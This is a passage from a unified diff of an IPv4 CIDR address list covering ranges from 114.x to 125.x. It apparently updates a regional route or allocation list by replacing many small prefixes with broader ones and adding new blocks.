+114.28.0.0/17 114.28.128.0/18 -114.28.248.0/21 -114.55.0.0/16 +114.28.193.0/24 +114.28.194.0/24 +114.28.197.0/24 +114.28.198.0/23 +114.28.201.0/24 +114.28.203.0/24 +114.28.205.0/24 +114.28.206.0/23 +114.28.208.0/23 +114.28.210.0/24 +114.28.216.0/23 +114.28.220.0/22 +114.28.225.0/24 +114.28.230.0/24 +114.28.232.0/24 +114.28.235.0/24 +114.28.236.0/23 +114.28.239.0/24 +114.28.240.0/20 +114.31.64.0/21 +114.54.0.0/15 114.60.0.0/14 -114.64.0.0/16 -114.66.0.0/18 -114.66.72.0/21 -114.66.81.0/24 +114.64.0.0/15 +114.66.0.0/17 +114.66.224.0/22 114.66.236.0/22 114.66.240.0/20 -114.67.16.0/21 -114.67.48.0/24 -114.67.57.0/24 -114.67.58.0/24 -114.67.60.0/23 -114.67.62.0/24 -114.67.64.0/18 -114.67.131.0/24 -114.67.136.0/24 -114.67.150.0/24 -114.67.152.0/22 -114.67.156.0/24 -114.67.159.0/24 -114.67.160.0/19 -114.67.192.0/18 +114.67.0.0/16 +114.68.0.0/16 +114.79.64.0/18 114.80.0.0/12 114.96.0.0/13 114.104.0.0/14 114.110.0.0/20 -114.110.96.0/22 -114.111.0.0/23 -114.111.16.0/20 -114.111.191.0/24 -114.112.4.0/23 +114.110.64.0/18 +114.111.0.0/19 +114.111.160.0/20 +114.111.176.0/22 +114.111.190.0/23 +114.112.4.0/22 +114.112.8.0/22 +114.112.12.0/23 +114.112.16.0/23 +114.112.20.0/22 114.112.24.0/21 114.112.32.0/19 -114.112.64.0/24 -114.112.66.0/24 -114.112.70.0/24 -114.112.72.0/21 -114.112.81.0/24 -114.112.82.0/24 -114.112.85.0/24 -114.112.86.0/24 -114.112.88.0/24 -114.112.91.0/24 -114.112.94.0/23 -114.112.96.0/21 -114.112.104.0/22 -114.112.136.0/21 -114.112.144.0/21 -114.112.200.0/21 -114.112.208.0/20 -114.113.63.0/24 -114.113.65.0/24 -114.113.66.0/24 -114.113.80.0/22 -114.113.84.0/24 -114.113.88.0/21 -114.113.96.0/19 +114.112.64.0/18 +114.112.128.0/18 +114.112.192.0/19 +114.112.224.0/22 +114.112.228.0/24 +114.112.230.0/23 +114.112.234.0/23 +114.112.240.0/21 +114.112.248.0/22 +114.112.252.0/23 +114.112.255.0/24 +114.113.0.0/17 +114.113.128.0/21 +114.113.140.0/22 114.113.144.0/20 -114.113.196.0/22 -114.113.200.0/24 -114.113.203.0/24 -114.113.208.0/21 -114.113.221.0/24 -114.113.223.0/24 +114.113.160.0/19 +114.113.192.0/19 114.113.224.0/20 -114.114.112.0/21 -114.115.0.0/16 +114.113.242.0/24 +114.113.246.0/23 +114.113.248.0/21 +114.114.0.0/15 114.116.0.0/15 -114.118.0.0/18 -114.118.64.0/19 -114.118.96.0/21 -114.119.10.0/24 -114.119.32.0/24 -114.119.117.0/24 -114.119.119.0/24 +114.118.0.0/16 +114.119.0.0/17 +114.119.192.0/21 +114.119.204.0/22 +114.119.208.0/20 +114.119.224.0/19 114.132.0.0/16 114.135.0.0/16 114.138.0.0/15 +114.141.64.0/21 +114.141.80.0/21 114.141.128.0/18 +114.142.136.0/21 114.196.0.0/15 -114.212.0.0/14 -114.216.0.0/13 +114.198.248.0/21 +114.208.0.0/12 114.224.0.0/11 115.24.0.0/14 115.28.0.0/15 -115.31.64.0/22 -115.32.0.0/19 -115.32.32.0/20 -115.32.52.0/22 -115.32.56.0/21 -115.32.64.0/19 -115.32.104.0/21 -115.32.120.0/21 -115.32.128.0/19 -115.33.0.0/19 -115.33.64.0/18 -115.33.128.0/20 -115.44.0.0/15 -115.46.0.0/16 +115.31.64.0/20 +115.32.0.0/14 +115.42.56.0/22 +115.44.0.0/14 115.48.0.0/12 +115.69.64.0/20 115.84.0.0/18 115.85.192.0/18 -115.102.0.0/16 -115.120.0.0/17 -115.120.128.0/20 -115.120.144.0/23 -115.120.148.0/22 -115.120.152.0/21 -115.120.176.0/20 -115.120.192.0/18 +115.100.0.0/14 +115.104.0.0/14 +115.120.0.0/14 115.124.16.0/20 115.148.0.0/14 115.152.0.0/13 -115.168.0.0/14 -115.172.32.0/21 -115.172.46.0/23 -115.173.0.0/19 -115.175.0.0/18 -115.175.64.0/19 -115.175.96.0/21 -115.175.104.0/22 -115.175.108.0/23 -115.175.110.0/24 -115.175.112.0/20 -115.175.128.0/17 -115.180.0.0/17 -115.182.0.0/15 -115.190.0.0/16 -115.191.0.0/18 -115.191.64.0/20 +115.166.64.0/19 +115.168.0.0/13 +115.180.0.0/14 +115.187.0.0/20 +115.190.0.0/15 115.192.0.0/11 115.224.0.0/12 +116.0.8.0/21 +116.0.24.0/21 116.1.0.0/16 116.2.0.0/15 116.4.0.0/14 116.8.0.0/14 116.13.0.0/16 116.16.0.0/12 +116.50.0.0/20 116.52.0.0/14 116.56.0.0/15 -116.58.208.0/24 -116.62.0.0/15 -116.66.36.0/24 -116.66.48.0/23 -116.66.50.0/24 -116.66.53.0/24 -116.66.54.0/23 -116.66.98.0/24 -116.66.123.0/24 +116.58.128.0/20 +116.58.208.0/20 +116.60.0.0/14 +116.66.0.0/17 116.68.136.0/21 116.68.176.0/21 -116.70.64.0/18 -116.76.0.0/15 -116.78.0.0/16 -116.85.1.0/24 -116.85.2.0/23 -116.85.13.0/24 -116.85.14.0/24 -116.85.16.0/23 -116.85.18.0/24 -116.85.64.0/20 -116.85.240.0/20 +116.69.0.0/16 +116.70.0.0/17 +116.76.0.0/14 +116.85.0.0/16 +116.89.144.0/20 116.90.80.0/20 -116.90.192.0/20 +116.90.184.0/21 116.95.0.0/16 116.112.0.0/14 116.116.0.0/15 -116.128.128.0/18 -116.128.200.0/21 -116.128.208.0/20 -116.128.224.0/19 -116.129.0.0/16 -116.130.0.0/15 -116.132.0.0/15 -116.135.0.0/16 -116.136.0.0/13 -116.144.0.0/14 -116.148.0.0/15 -116.153.0.0/16 -116.154.0.0/15 -116.162.0.0/16 -116.163.0.0/18 -116.165.0.0/16 -116.167.0.0/16 -116.168.0.0/14 -116.172.64.0/18 -116.172.128.0/17 -116.174.0.0/15 -116.176.0.0/14 -116.181.0.0/16 -116.182.0.0/16 +116.128.0.0/10 116.192.0.0/16 -116.193.16.0/23 -116.193.18.0/24 +116.193.16.0/20 +116.193.32.0/19 +116.193.176.0/21 +116.194.0.0/15 116.196.0.0/21 116.196.8.0/22 116.196.12.0/23 +116.196.14.0/24 +116.196.16.0/20 +116.196.32.0/19 116.196.64.0/18 -116.196.129.0/24 -116.196.130.0/23 -116.196.132.0/22 -116.196.136.0/21 -116.196.144.0/21 -116.196.152.0/22 -116.196.156.0/23 -116.196.176.0/21 -116.196.192.0/21 -116.196.218.0/23 -116.196.220.0/22 +116.196.128.0/17 116.197.160.0/21 -116.198.0.0/18 -116.198.64.0/21 -116.198.72.0/22 -116.198.96.0/19 -116.198.144.0/20 -116.198.160.0/20 -116.198.176.0/21 -116.198.192.0/18 -116.199.0.0/18 -116.199.66.0/23 -116.199.110.0/23 +116.198.0.0/16 +116.199.0.0/17 +116.199.128.0/20 +116.199.144.0/21 116.204.0.0/17 116.205.0.0/16 116.207.0.0/16 116.208.0.0/14 +116.212.160.0/20 +116.213.44.0/24 +116.213.46.0/23 +116.213.64.0/18 +116.213.128.0/17 116.214.32.0/19 -116.214.128.0/22 -116.214.132.0/23 -116.214.134.0/24 -116.218.0.0/18 -116.218.64.0/19 -116.218.128.0/20 -116.218.144.0/21 +116.214.64.0/20 +116.214.128.0/17 +116.215.0.0/16 +116.216.0.0/14 116.224.0.0/12 -116.242.0.0/16 -116.246.0.0/15 +116.242.0.0/15 +116.244.0.0/14 116.248.0.0/15 116.252.0.0/15 116.254.104.0/21 +116.254.128.0/17 116.255.128.0/17 117.8.0.0/13 117.21.0.0/16 @@ -1924,88 +3355,76 @@ 117.32.0.0/13 117.40.0.0/14 117.44.0.0/15 -117.48.112.0/20 -117.48.128.0/19 -117.48.160.0/20 -117.48.192.0/24 -117.48.195.0/24 -117.48.196.0/22 -117.48.200.0/21 -117.48.216.0/23 -117.48.218.0/24 -117.48.220.0/22 -117.48.224.0/21 -117.48.232.0/23 -117.48.234.0/24 -117.48.236.0/22 +117.48.0.0/15 117.50.0.0/16 -117.51.128.0/19 -117.51.160.0/23 -117.51.168.0/21 +117.51.128.0/17 +117.53.48.0/20 +117.53.176.0/20 117.57.0.0/16 +117.58.0.0/17 117.59.0.0/16 117.60.0.0/14 117.64.0.0/13 -117.72.0.0/23 -117.72.8.0/21 -117.72.16.0/23 -117.72.24.0/21 -117.72.32.0/19 -117.72.64.0/18 -117.72.144.0/20 -117.72.160.0/19 -117.72.192.0/19 -117.72.240.0/21 -117.72.255.0/24 -117.73.0.0/20 -117.73.16.0/21 -117.73.252.0/22 -117.74.64.0/20 -117.74.128.0/21 -117.74.136.0/22 -117.78.0.0/18 -117.79.80.0/20 -117.79.128.0/21 -117.79.144.0/20 -117.79.224.0/20 -117.79.241.0/24 -117.79.242.0/24 +117.72.0.0/15 +117.74.64.0/19 +117.74.128.0/17 +117.75.0.0/16 +117.76.0.0/14 117.80.0.0/12 +117.100.0.0/15 +117.103.16.0/20 +117.103.40.0/21 +117.103.72.0/21 +117.103.128.0/20 +117.104.168.0/21 117.106.0.0/15 117.112.0.0/13 -117.121.132.0/22 -117.122.192.0/18 -117.124.98.0/24 -117.124.231.0/24 -117.124.232.0/22 -117.124.236.0/23 -117.124.240.0/22 -117.124.244.0/24 -117.124.246.0/24 -117.126.0.0/16 -117.128.0.0/10 +117.120.64.0/18 +117.120.148.0/22 +117.120.164.0/22 +117.120.184.0/21 +117.120.208.0/21 +117.120.216.0/22 +117.120.248.0/21 +117.121.0.0/17 +117.121.128.0/18 +117.121.192.0/21 +117.122.128.0/17 +117.124.0.0/14 +117.128.0.0/14 +117.132.0.0/15 +117.134.0.0/17 +117.134.128.0/18 +117.134.205.0/24 +117.134.207.0/24 +117.134.208.0/23 +117.134.212.0/23 +117.134.216.0/21 +117.134.232.0/21 +117.134.240.0/20 +117.135.0.0/16 +117.136.0.0/13 +117.144.0.0/12 +117.160.0.0/11 118.24.0.0/15 -118.26.48.0/22 -118.26.64.0/23 -118.26.68.0/23 -118.26.72.0/22 +118.26.0.0/19 +118.26.32.0/22 +118.26.40.0/21 +118.26.48.0/21 +118.26.64.0/19 118.26.96.0/21 -118.26.116.0/22 +118.26.112.0/20 118.26.128.0/22 -118.26.136.0/22 +118.26.133.0/24 +118.26.134.0/23 +118.26.136.0/21 118.26.160.0/20 -118.26.192.0/24 -118.26.194.0/23 -118.26.208.0/20 -118.26.240.0/20 -118.31.0.0/16 -118.64.0.0/21 -118.64.248.0/21 -118.65.0.0/21 -118.66.112.0/23 -118.66.184.0/24 -118.66.224.0/20 -118.66.248.0/21 +118.26.188.0/22 +118.26.192.0/18 +118.28.0.0/14 +118.64.0.0/15 +118.66.0.0/16 +118.67.112.0/20 118.72.0.0/13 118.80.0.0/15 118.84.0.0/15 @@ -2013,618 +3432,552 @@ 118.88.64.0/18 118.88.128.0/17 118.89.0.0/16 +118.91.240.0/20 118.102.16.0/20 +118.102.32.0/21 118.103.164.0/22 +118.103.168.0/21 +118.103.176.0/22 118.112.0.0/13 118.120.0.0/14 118.124.0.0/15 -118.126.32.0/19 -118.126.64.0/18 -118.126.140.0/23 -118.126.142.0/24 +118.126.0.0/16 +118.127.128.0/19 118.132.0.0/14 -118.144.0.0/16 -118.145.0.0/19 -118.145.32.0/20 -118.145.64.0/19 -118.145.96.0/20 -118.145.112.0/21 -118.145.128.0/19 -118.145.160.0/21 -118.145.176.0/20 -118.145.192.0/18 +118.144.0.0/14 118.178.0.0/16 118.180.0.0/14 -118.184.128.0/17 -118.186.0.0/19 -118.186.32.0/24 -118.186.34.0/23 -118.186.36.0/22 -118.186.56.0/21 -118.186.64.0/21 -118.186.80.0/20 -118.186.96.0/20 -118.186.112.0/21 -118.186.160.0/19 -118.186.208.0/21 -118.186.240.0/21 -118.187.0.0/18 -118.187.64.0/19 -118.188.18.0/23 -118.188.20.0/22 -118.188.24.0/23 -118.190.0.0/16 -118.191.0.0/21 -118.191.8.0/22 -118.191.12.0/24 -118.192.20.0/24 -118.192.64.0/23 -118.192.67.0/24 -118.192.68.0/23 -118.192.70.0/24 +118.184.0.0/16 +118.186.0.0/15 +118.188.0.0/16 +118.190.0.0/15 +118.192.0.0/16 +118.193.0.0/20 +118.193.48.0/21 118.193.96.0/19 -118.194.32.0/19 -118.194.134.0/23 -118.194.240.0/24 -118.194.242.0/23 -118.194.244.0/24 -118.194.246.0/23 -118.195.128.0/17 -118.196.0.0/16 -118.197.0.0/18 -118.197.64.0/19 +118.193.128.0/17 +118.194.0.0/17 +118.194.128.0/18 +118.194.192.0/19 +118.194.227.0/24 +118.194.240.0/21 +118.195.0.0/16 +118.196.0.0/14 118.202.0.0/15 -118.204.0.0/17 +118.204.0.0/14 118.212.0.0/15 -118.215.192.0/19 +118.215.192.0/18 +118.224.0.0/14 118.228.0.0/15 118.230.0.0/16 118.239.0.0/16 -118.242.0.0/22 -118.242.16.0/22 -118.242.24.0/22 -118.242.32.0/22 -118.242.40.0/24 -118.244.0.0/21 -118.244.128.0/17 -118.247.0.0/16 +118.242.0.0/16 +118.244.0.0/14 118.248.0.0/13 119.0.0.0/15 +119.2.0.0/19 119.2.128.0/17 119.3.0.0/16 119.4.0.0/14 -119.15.136.0/23 -119.15.140.0/23 -119.16.0.0/17 -119.16.128.0/18 +119.10.0.0/17 +119.15.136.0/21 +119.16.0.0/16 +119.18.192.0/20 119.18.208.0/21 -119.18.224.0/24 -119.18.226.0/24 -119.18.234.0/24 -119.18.237.0/24 -119.18.239.0/24 -119.23.0.0/16 -119.27.160.0/19 +119.18.224.0/19 +119.19.0.0/16 +119.20.0.0/14 +119.27.64.0/18 +119.27.128.0/17 119.28.28.0/24 +119.28.240.0/20 119.29.0.0/16 +119.30.48.0/20 119.31.192.0/19 -119.32.0.0/18 -119.33.194.0/23 -119.36.0.0/16 -119.37.0.0/23 -119.37.2.0/24 -119.37.12.0/24 -119.37.192.0/21 -119.38.0.0/21 -119.38.192.0/19 -119.39.0.0/16 -119.40.41.0/24 +119.32.0.0/13 +119.40.0.0/18 119.40.64.0/20 119.40.128.0/17 119.41.0.0/16 119.42.0.0/19 -119.42.136.0/21 +119.42.128.0/20 119.42.224.0/19 -119.44.0.0/22 -119.44.4.0/23 -119.44.7.0/24 -119.44.8.0/22 -119.44.12.0/24 -119.44.16.0/22 -119.44.20.0/23 -119.44.23.0/24 -119.44.24.0/23 -119.44.45.0/24 -119.44.46.0/24 -119.44.50.0/23 -119.44.52.0/24 -119.44.56.0/21 -119.44.192.0/24 -119.44.200.0/24 -119.44.205.0/24 -119.44.214.0/24 -119.44.217.0/24 -119.44.218.0/23 -119.44.220.0/22 -119.44.224.0/20 -119.44.253.0/24 -119.44.254.0/23 -119.45.0.0/16 +119.44.0.0/15 119.48.0.0/13 -119.57.0.0/21 -119.57.8.0/23 -119.57.12.0/24 -119.57.16.0/21 -119.57.25.0/24 -119.57.28.0/22 -119.57.32.0/21 -119.57.44.0/22 -119.57.51.0/24 -119.57.52.0/22 -119.57.56.0/21 -119.57.64.0/19 -119.57.96.0/22 -119.57.100.0/23 -119.57.102.0/24 -119.57.112.0/20 -119.57.132.0/22 -119.57.136.0/21 -119.57.160.0/20 -119.57.190.0/23 -119.57.246.0/23 -119.57.248.0/21 +119.57.0.0/16 +119.58.0.0/16 +119.59.128.0/24 +119.59.130.0/24 +119.59.132.0/22 +119.59.136.0/21 +119.59.144.0/20 +119.59.160.0/19 +119.59.192.0/18 119.60.0.0/15 119.62.0.0/16 +119.63.32.0/19 119.75.208.0/20 119.78.0.0/15 -119.80.0.0/21 -119.80.8.0/22 -119.80.160.0/23 -119.80.162.0/24 -119.80.192.0/21 -119.80.200.0/22 -119.80.240.0/22 -119.80.248.0/21 +119.80.0.0/16 +119.82.208.0/20 119.84.0.0/14 -119.88.128.0/17 -119.91.0.0/16 +119.88.0.0/14 119.96.0.0/13 119.108.0.0/15 119.112.0.0/12 119.128.0.0/12 119.144.0.0/14 -119.148.160.0/20 -119.161.120.0/22 -119.161.124.0/24 +119.148.160.0/19 +119.151.192.0/18 +119.160.200.0/21 +119.161.120.0/21 +119.161.128.0/21 +119.161.144.0/21 +119.161.152.0/23 +119.161.160.0/19 +119.161.192.0/18 119.162.0.0/15 119.164.0.0/14 119.176.0.0/12 -119.233.128.0/17 -119.235.128.0/24 -119.235.130.0/24 -119.235.136.0/24 -119.235.138.0/24 -119.235.143.0/24 -119.235.144.0/23 -119.235.151.0/24 -119.235.160.0/23 -119.235.167.0/24 -119.235.185.0/24 +119.232.0.0/15 +119.235.128.0/18 119.248.0.0/14 -119.253.0.0/20 -119.253.32.0/19 -119.253.64.0/19 -119.254.0.0/16 -119.255.128.0/17 +119.252.96.0/21 +119.252.240.0/21 +119.252.248.0/23 +119.252.250.0/24 +119.252.252.0/23 +119.252.255.0/24 +119.253.0.0/16 +119.254.0.0/15 120.0.0.0/12 120.24.0.0/14 -120.31.66.0/23 -120.31.68.0/22 -120.31.128.0/20 +120.30.0.0/15 120.32.0.0/12 -120.48.0.0/16 -120.49.0.0/17 -120.49.192.0/18 -120.52.0.0/15 -120.55.0.0/16 -120.65.0.0/16 -120.68.0.0/14 +120.48.0.0/15 +120.52.0.0/14 +120.64.0.0/13 120.72.32.0/19 -120.72.160.0/24 -120.72.162.0/23 -120.72.164.0/22 -120.72.168.0/24 -120.72.170.0/23 -120.72.172.0/23 -120.72.174.0/24 -120.72.177.0/24 -120.72.178.0/24 -120.72.180.0/24 -120.72.182.0/23 -120.72.184.0/22 -120.72.188.0/23 -120.72.190.0/24 +120.72.128.0/17 120.76.0.0/14 120.80.0.0/13 -120.92.0.0/17 -120.92.128.0/18 -120.92.192.0/19 -120.92.224.0/20 +120.88.8.0/21 +120.90.0.0/15 +120.92.0.0/16 120.94.0.0/15 -120.130.0.0/18 -120.130.64.0/19 -120.131.0.0/19 -120.131.88.0/21 -120.131.124.0/22 -120.132.0.0/18 -120.132.64.0/19 -120.132.96.0/20 -120.132.112.0/24 -120.132.117.0/24 -120.132.118.0/23 -120.132.120.0/21 -120.132.128.0/17 -120.133.0.0/16 -120.134.0.0/15 +120.128.0.0/13 120.136.16.0/21 -120.136.128.0/21 -120.136.140.0/22 -120.136.144.0/20 -120.136.160.0/20 -120.136.176.0/21 -120.136.184.0/22 -120.136.188.0/23 -120.136.190.0/24 +120.136.128.0/18 +120.137.0.0/17 +120.143.128.0/19 120.192.0.0/10 +121.0.8.0/21 121.0.16.0/20 121.4.0.0/15 121.8.0.0/13 121.16.0.0/12 -121.32.0.0/14 -121.36.0.0/15 -121.39.255.0/24 +121.32.0.0/13 121.40.0.0/14 -121.46.0.0/20 -121.46.20.0/22 +121.46.0.0/18 +121.46.76.0/22 121.46.128.0/21 121.46.141.0/24 -121.46.192.0/21 -121.46.200.0/22 -121.46.224.0/20 -121.46.244.0/22 -121.46.248.0/22 -121.46.252.0/23 -121.46.254.0/24 +121.46.160.0/19 +121.46.192.0/18 +121.47.0.0/16 121.48.0.0/15 +121.50.8.0/21 121.51.0.0/16 121.52.160.0/19 121.52.208.0/20 121.52.224.0/19 +121.54.176.0/21 121.55.0.0/18 121.56.0.0/15 121.58.0.0/17 -121.58.156.0/22 -121.59.4.0/22 -121.59.8.0/21 +121.58.136.0/21 +121.58.144.0/20 +121.58.160.0/21 +121.59.0.0/19 +121.59.32.0/22 +121.59.36.0/23 +121.59.39.0/24 +121.59.40.0/21 +121.59.48.0/20 +121.59.64.0/19 +121.59.96.0/22 +121.59.101.0/24 +121.59.102.0/23 +121.59.104.0/23 +121.59.107.0/24 +121.59.108.0/24 +121.59.110.0/23 +121.59.112.0/21 +121.59.121.0/24 +121.59.123.0/24 +121.59.125.0/24 +121.59.126.0/23 +121.59.128.0/21 +121.59.136.0/22 +121.59.141.0/24 +121.59.142.0/23 +121.59.144.0/20 +121.59.160.0/19 +121.59.192.0/18 121.60.0.0/14 -121.69.0.0/16 -121.70.0.0/17 +121.68.0.0/14 121.76.0.0/15 -121.79.131.0/24 -121.79.132.0/24 -121.79.134.0/23 +121.79.128.0/18 121.89.0.0/16 121.91.104.0/21 +121.100.128.0/17 +121.101.0.0/18 +121.101.208.0/20 121.192.0.0/13 -121.201.0.0/17 +121.200.192.0/21 +121.201.0.0/16 121.204.0.0/14 121.224.0.0/12 121.248.0.0/14 121.255.0.0/16 122.0.64.0/18 +122.0.128.0/17 122.4.0.0/14 +122.8.52.0/22 +122.8.57.0/24 +122.8.58.0/23 +122.8.60.0/23 +122.8.63.0/24 +122.8.68.0/22 +122.8.76.0/22 +122.8.80.0/23 +122.8.112.0/21 +122.8.124.0/22 +122.8.192.0/18 122.9.0.0/16 -122.10.133.0/24 +122.10.129.0/24 +122.10.131.0/24 +122.10.132.0/23 122.10.136.0/23 -122.11.32.0/19 -122.13.0.0/16 -122.14.44.0/22 -122.14.62.0/24 +122.10.164.0/22 +122.10.168.0/21 +122.10.176.0/20 +122.10.192.0/22 +122.10.200.0/22 +122.10.205.0/24 +122.10.206.0/23 +122.10.208.0/21 +122.10.216.0/22 +122.10.228.0/22 +122.10.232.0/21 +122.10.240.0/22 +122.11.0.0/17 +122.12.0.0/15 +122.14.0.0/17 +122.14.128.0/20 +122.14.144.0/22 +122.14.148.0/24 +122.14.150.0/23 +122.14.152.0/23 +122.14.155.0/24 +122.14.157.0/24 +122.14.158.0/23 +122.14.160.0/19 122.14.192.0/18 122.48.0.0/16 -122.49.8.0/21 -122.49.16.0/20 -122.49.32.0/20 +122.49.0.0/18 122.51.0.0/16 -122.70.0.0/15 -122.72.16.0/24 -122.72.38.0/24 -122.94.0.0/16 +122.64.0.0/11 122.96.0.0/15 -122.102.64.0/20 -122.112.0.0/22 -122.112.32.0/19 -122.112.132.0/22 -122.112.136.0/21 -122.112.144.0/20 -122.112.160.0/19 -122.112.192.0/18 +122.102.0.0/20 +122.102.64.0/19 +122.112.0.0/18 +122.112.64.0/19 +122.112.96.0/20 +122.112.112.0/21 +122.112.120.0/23 +122.112.125.0/24 +122.112.126.0/23 +122.112.128.0/17 +122.113.0.0/19 +122.113.32.0/20 +122.113.48.0/23 +122.113.51.0/24 +122.113.52.0/22 +122.113.56.0/21 +122.113.64.0/18 +122.113.128.0/17 122.114.0.0/16 -122.115.0.0/20 -122.115.32.0/19 -122.115.224.0/20 -122.119.4.0/23 -122.119.12.0/22 -122.119.20.0/22 -122.119.24.0/23 -122.119.26.0/24 -122.119.32.0/24 -122.119.50.0/24 -122.119.73.0/24 -122.119.96.0/23 -122.119.110.0/23 -122.119.112.0/23 -122.119.114.0/24 -122.119.120.0/24 -122.119.122.0/24 -122.119.124.0/23 -122.119.129.0/24 -122.119.147.0/24 -122.119.160.0/23 -122.119.172.0/24 -122.119.180.0/22 -122.119.190.0/24 -122.119.224.0/22 -122.119.232.0/23 -122.119.236.0/24 -122.119.253.0/24 +122.115.0.0/18 +122.115.64.0/22 +122.115.70.0/23 +122.115.72.0/24 +122.115.74.0/23 +122.115.76.0/22 +122.115.80.0/20 +122.115.96.0/19 +122.115.128.0/17 +122.119.0.0/16 +122.128.100.0/22 +122.128.120.0/21 122.136.0.0/13 -122.144.128.0/20 -122.144.144.0/23 -122.144.147.0/24 -122.144.152.0/23 -122.144.156.0/23 -122.144.161.0/24 -122.144.164.0/22 -122.144.168.0/22 -122.144.172.0/23 -122.144.178.0/23 -122.144.180.0/22 -122.144.192.0/21 -122.144.200.0/22 -122.144.206.0/23 -122.144.208.0/23 -122.144.211.0/24 -122.144.212.0/22 -122.144.216.0/21 -122.144.232.0/22 -122.144.236.0/23 -122.144.240.0/24 -122.144.248.0/23 +122.144.128.0/17 122.152.192.0/18 122.156.0.0/14 122.188.0.0/14 122.192.0.0/14 +122.198.0.0/16 122.200.40.0/21 -122.200.68.0/23 -122.200.78.0/24 -122.200.82.0/24 -122.200.84.0/23 -122.200.86.0/24 -122.200.92.0/23 -122.200.104.0/22 -122.200.120.0/22 -122.200.124.0/24 +122.200.64.0/18 +122.201.48.0/20 122.204.0.0/14 122.224.0.0/12 122.240.0.0/13 -122.248.48.0/21 -122.248.56.0/22 +122.248.24.0/21 +122.248.48.0/20 +122.255.64.0/21 +123.0.128.0/18 123.4.0.0/14 123.8.0.0/13 +123.49.128.0/18 123.49.192.0/23 123.49.194.0/24 -123.49.231.0/24 +123.49.197.0/24 +123.49.198.0/23 +123.49.200.0/21 +123.49.208.0/20 +123.49.224.0/21 +123.49.232.0/22 +123.49.236.0/24 123.49.240.0/24 123.49.242.0/23 +123.49.248.0/21 +123.50.160.0/19 123.52.0.0/14 123.56.0.0/15 -123.58.0.0/19 -123.58.32.0/23 -123.58.34.0/24 -123.58.36.0/24 -123.58.38.0/23 -123.58.40.0/21 -123.58.48.0/24 -123.58.50.0/24 -123.58.53.0/24 -123.58.54.0/23 -123.58.56.0/23 -123.58.59.0/24 -123.58.60.0/22 -123.58.64.0/24 -123.58.96.0/19 -123.58.160.0/20 -123.58.180.0/24 -123.58.182.0/23 -123.58.184.0/24 -123.58.186.0/23 -123.58.188.0/22 +123.58.0.0/17 +123.58.128.0/18 123.58.224.0/19 123.59.0.0/16 -123.60.0.0/16 -123.64.0.0/15 -123.66.0.0/16 -123.77.0.0/16 -123.88.0.0/15 -123.90.0.0/16 +123.60.0.0/15 +123.62.0.0/16 +123.64.0.0/11 123.96.0.0/15 +123.98.0.0/21 +123.98.12.0/22 +123.98.24.0/21 +123.98.32.0/19 +123.98.64.0/18 +123.99.128.0/19 +123.99.160.0/22 +123.99.164.0/24 +123.99.166.0/23 +123.99.168.0/21 +123.99.176.0/20 123.99.192.0/18 +123.100.0.0/19 123.101.0.0/16 -123.103.0.0/20 -123.103.16.0/21 -123.103.24.0/22 -123.103.28.0/23 -123.103.30.0/24 -123.103.40.0/21 -123.103.48.0/20 -123.103.64.0/18 -123.108.88.0/24 -123.108.208.0/22 -123.108.212.0/23 -123.108.220.0/22 +123.103.0.0/17 +123.108.88.0/23 +123.108.130.0/23 +123.108.132.0/22 +123.108.136.0/21 +123.108.208.0/20 123.112.0.0/12 123.128.0.0/13 +123.136.88.0/22 +123.137.0.0/16 123.138.0.0/15 123.144.0.0/12 123.160.0.0/12 +123.176.60.0/22 +123.176.80.0/20 123.177.0.0/16 123.178.0.0/15 123.180.0.0/14 123.184.0.0/13 -123.196.112.0/20 +123.196.0.0/15 +123.199.128.0/17 123.206.0.0/15 123.232.0.0/14 +123.242.0.0/17 123.242.192.0/21 123.244.0.0/14 -123.249.0.0/17 +123.249.0.0/16 +123.253.52.0/23 123.254.96.0/21 -124.14.5.0/24 -124.14.8.0/24 -124.14.12.0/23 -124.14.15.0/24 -124.14.22.0/24 -124.14.64.0/18 -124.14.224.0/19 +124.6.64.0/18 +124.14.0.0/15 124.16.0.0/15 +124.20.0.0/16 +124.21.32.0/19 +124.21.64.0/18 +124.21.128.0/17 124.22.0.0/15 124.28.192.0/18 124.29.0.0/17 124.31.0.0/16 +124.40.112.0/20 124.40.128.0/18 -124.42.0.0/17 +124.40.192.0/19 +124.40.240.0/22 +124.42.0.0/16 124.47.0.0/18 124.64.0.0/15 124.66.0.0/17 124.67.0.0/16 +124.68.16.0/20 +124.68.64.0/18 +124.68.176.0/20 +124.68.224.0/20 +124.68.244.0/22 +124.68.248.0/21 +124.69.0.0/16 124.70.0.0/16 124.71.0.0/17 124.71.128.0/18 124.71.192.0/19 124.71.224.0/20 -124.71.250.0/24 +124.71.240.0/21 +124.71.250.0/23 +124.71.254.0/23 124.72.0.0/13 124.88.0.0/13 +124.108.8.0/21 +124.108.40.0/21 +124.109.96.0/21 124.112.0.0/13 124.126.0.0/15 124.128.0.0/13 +124.147.128.0/17 +124.150.137.0/24 124.151.0.0/16 124.152.0.0/16 124.160.0.0/13 124.172.0.0/14 124.192.0.0/15 -124.196.12.0/23 -124.196.25.0/24 -124.196.26.0/23 -124.196.28.0/24 -124.196.30.0/23 -124.196.32.0/23 -124.196.40.0/22 -124.196.48.0/22 -124.196.52.0/23 -124.196.55.0/24 -124.196.56.0/23 -124.196.58.0/24 -124.196.66.0/24 -124.196.72.0/24 -124.196.77.0/24 -124.196.80.0/22 -124.196.84.0/23 -124.200.0.0/16 -124.201.0.0/17 -124.202.0.0/16 -124.203.176.0/20 -124.204.0.0/14 +124.196.0.0/16 +124.197.56.0/21 +124.200.0.0/13 124.220.0.0/14 124.224.0.0/12 124.240.0.0/17 124.240.128.0/18 +124.242.0.0/16 124.243.192.0/18 -124.248.64.0/18 +124.248.0.0/17 +124.249.0.0/16 124.250.0.0/15 124.254.0.0/18 +125.31.192.0/18 125.32.0.0/12 125.58.128.0/17 +125.61.128.0/17 125.62.0.0/18 -125.64.0.0/11 -125.98.122.0/23 -125.98.128.0/17 +125.64.0.0/12 +125.80.0.0/13 +125.88.0.0/14 +125.92.0.0/16 +125.93.0.0/20 +125.93.16.0/21 +125.93.24.0/23 +125.93.26.0/24 +125.93.28.0/22 +125.93.32.0/19 +125.93.64.0/18 +125.93.128.0/17 +125.94.0.0/15 +125.96.0.0/15 +125.98.0.0/16 125.104.0.0/13 125.112.0.0/12 -125.208.0.0/19 -125.208.32.0/20 -125.208.49.0/24 +125.169.0.0/16 +125.171.0.0/16 +125.208.0.0/18 125.210.0.0/15 -125.213.32.0/20 +125.213.0.0/17 125.214.96.0/19 -125.215.36.0/23 -125.215.40.0/24 -125.215.44.0/23 -125.215.48.0/24 -125.215.52.0/23 -125.215.54.0/24 +125.215.0.0/18 125.216.0.0/13 -125.254.128.0/19 